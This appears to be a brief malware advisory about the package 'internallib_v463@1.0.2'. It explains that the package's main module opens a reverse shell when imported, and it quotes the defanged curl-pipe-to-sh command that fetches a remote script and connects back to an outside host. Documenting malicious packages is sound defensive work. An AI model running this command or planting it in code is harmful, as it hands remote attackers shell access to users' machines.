internallib_v463@1.0.2

Analysis

The package's main module (index.js) executes a reverse shell on require: it runs /bin/bash -c "curl hxxps://reverse-shell[.]sh/10[.]0[.]73[.]186:443|sh", piping a remote shell script into sh and connecting back to 10[.]0[.]73[.]186:443. Any application that imports this package gives the remote host shell access to the machine.